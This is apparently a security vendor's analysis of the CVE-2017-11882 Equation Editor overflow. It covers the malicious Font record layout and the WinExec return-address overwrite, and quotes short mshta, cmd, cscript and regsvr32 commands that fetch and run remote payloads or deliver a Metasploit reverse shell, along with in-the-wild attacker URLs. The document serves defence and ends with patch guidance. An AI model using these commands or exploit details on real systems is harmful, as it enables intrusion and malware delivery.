Analysis of CVE-2017

SHA256

02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453

and is available on GitHub. Through analysis of the file contents, we can see the object class is Equation.3, which means it is an OLE equation object:

Figure 1 RTF File Contents Showing Class Equation.3

 
After extracting the object, we can skip OLE, CompObj and ObjInfo streams, and go directly to Equation Native stream:

Figure 2 File Contents showing various Streams

 
The stream has a header with following structure:

 
After that we can see the MTEF data, which contains a MTEF header and multiple records. MTEF is a binary equation format used by the equation editor. The header has the general information about the MTEF data:

Description	Size (byte)	Value	Comment
MTEF Version	1	0x3	MTEFv3
Generating Platform	1	0x1	Windows
Generating Product	1	0x1	Equation Editor
Product Version	1	0x3
Product Subversion	1	0xa

Table 1METF header

Following the header are some MTEF records. The malicious record that triggers the vulnerability is Font record, which in the sample has the below structure:

Description	Size (byte)	Value	Comment
Tag	1	0x8	0x8 denotes Font record
Typeface Number	1	0x5a
Style	1	0x5a
Font Name	Variable, NULL terminated	“cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12	Overflow and overwrite return address

Table 2 Font record

The long font name overflows and causes the code execution. Putting it in the debugger to take a deeper look show us this:

Figure 3 IDA View of the Sample

The vulnerability occurs when EQNEDT32.EXE tries to copy the font name into a locally created buffer. The buffer is only 40 (0x28) bytes, however if the font name is longer than 40 bytes (in this case 48 bytes), the buffer will overflow and EBP as well as the return address will be overwritten. When the function is done executing, the control flow will be taken to the attacker assigned address.

Figure 4 Before Font Name Copy

Figure 5 After Font Name Copy

In this case, the function will return “back” to 0x430c12, which is the address of WinExec, and the argument is the “font name”, also an attacker supplied input:

Figure 6 Debugger View of Returning to WinExec

Then we can see the Windows calculator (calc.exe) opening:

Figure 7 Calc.exe Displayed when the Exploit Completes

Exploit Method Analysis

Next, we show a few ways attackers can exploit this vulnerability. In the proof of concept, the hexadecimal bytes, 636d642e657865202f632063616c632e65786520, are used for the following command: cmd.exe /c calc.exe 

When we opened the proof of concept, this executed the Windows calculator and we saw the calculator UI appear. However, there is a limitation with this method, as the buffer can only put so many bytes into the buffer that is overflowing.

Figure 8 IDA View of code copying overflow buffer into v4

The size of an array that the attacker can overflow is 36 bytes (overflow_buffer in the above figure). However, it is possible to use the space of the v12 variable and saved EBP, which allows for an extra 8 bytes of space. If the command we want to issue is longer than the combined 44 bytes available, how could we do that?

One way is to host a file on a server controlled by the attack and use the 44 bytes for a command that accesses that server and executes another binary. For example, the following command uses the mshta executable to run VBscript code from a remote server, as is only 37 characters long (ignoring the de-fanging brackets.)

mshta http://192.168.56[.]102/test.html

Below is code the attacker could host on that server, which would accomplish the same goal of executing the windows, but could do much more.

A similar option is to direct the injected instruction to point to a Metasploit server to give the attacker a reverse shell. In the screenshot below, Metasploit is being configured to host a remote shell on the server 192.168.56.103.

Figure 9 Running the Metasploit server

The command we need to insert into our exploit is just 40 bytes long:
mshta.exe http://192.168.56[.]103:8080/abc
When the victim opens the vile, the Metasploit server delivers the reverse shell and gives the attacker control over the host (see below.)

Figure 10 Metasploit Delivering Payload to Exploited Host

Exploit Samples in the Wild

Since November 20^th, we have identified thousands of attempted attacks which exploit this vulnerability in AutoFocus. Most of these use the techniques described above, either by calling cmd.exe directly or by using mshta.exe or cscript.exe to execute a remote script from an attacker controlled server. The table below shows examples of the most common techniques.

Command	Parameters	Description	Example
cmd.exe	malicious file IP + remote malicious file	cmd.exe to call local malicious file cmd.exe to call remote malicious file	cmd.exe /c calc.exe cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe
cscript.exe	script language + script	cscript.exe to call malicious file	cscript.exe //E:jscript \\\\xxd.cc\\bwou.png
mshta.exe	IP + remote malicious file	mshta.exe to call remote malicious file	mshta.exe http://104.254.99[.]77/x.txt mshta https://seliodrones[.]info/otr/otr.hta
regsvr32.exe	Installation Flags and remote malicious DLL	regsvr32.exe to call remote malicious DLL	regsvr32 /i:http[:]//1997106195 scrobj.dll &AA C

One example of an attack in the wild includes this sample:

SHA256

7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551

This sample was distributed as a fake invoice document attachment in email to organizations in Europe. After the user opened the document it executed the following command:

mshta.exe , mshta https://zilk[.]pw/url/index.hta

The code was hosted (and is no longer available) at this location executed a PowerShell script which in turn would download and executes a file from: hxxps://zilk[.]pw/url/smstrace.exe. This file is a sample of the information stealing Trojan FormBook.
Despite the size limitations on the overflow buffer, many attackers have found ways to exploit this vulnerability to achieve their goals.

Conclusion and Mitigation:
CVE-2017-11882 is in the wild and will likely continue to be exploited for years to come. To remediate this issue, administrators should deploy Microsoft’s patch for this vulnerability, available here: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 .
Those who can’t deploy the patch should consider disabling the Equation Editor as discussed in Microsoft Knowledge Base Article 4055535.
Palo Alto Networks customers are protected from this vulnerability in the following ways:

• Threat Prevention Signature 36804 identifies files containing the exploit code in the Next Generation Firewall
• WildFire and Traps identify files exploiting this vulnerability as malicious

Suspicious URLs used by Exploit Samples
smb[:]//185.175.208.10/s/r.exe
smb[:]//185.175.208.10/s/p.exe
http[:]//78.46.152.143\\webdav
http[:]//138.68.144.82
http[:]//103.59.95.105/test
http[:]//104.254.99.77/x.txt
http[:]//112.213.118.108[:]11882/a
http[:]//112.213.118.108[:]11882/
http[:]//138.68.144.82/w/trx.hta
http[:]//185.200.116.171[:]80/1
http[:]//203.128.247.165/a.hta
http[:]//212.83.61.198/read.txt
http[:]//43.242.35.13/ofc.hta
http[:]//45.32.169.233[:]80/test
http[:]//45.77.122.135[:]80/a.hta
http[:]//67.218.155.0/1.hta
http[:]//141.255.149.141[:]8080/e8eb2bWlyg.sct
http[:]//bit.ly/2zaevrt
https[:]//zilk.pw/url/index.hta
https[:]//zilk.pw/url/smstrace.exe
http[:]//tinyurl.com/y9m5opxz
http[:]//vulns.sg/RickAstley.hta
http[:]//a1-transport.eu/rFIB.hta
http[:]//malo.com/bicho
http[:]//nobles-iq.com/xpct/yxxM.hta
http[:]//pelli.mzf.cz/gt.hta
http[:]//sldkj.com/a
https[:]//pastebin.com/raw/1CWyVtXs
https[:]//pastebin.com/raw/PqUXNZbB
https[:]//seliodrones.info/otr/otr.hta
http[:]//suo.im/2boSoQ
http[:]//tinyurl.com/err43ery33
http[:]//totonam.com/js/zd.hta
http[:]//www.lucien116.com/abc
http[:]//facebookcoc.sytes.net[:]8080/xp8jdXNo.sct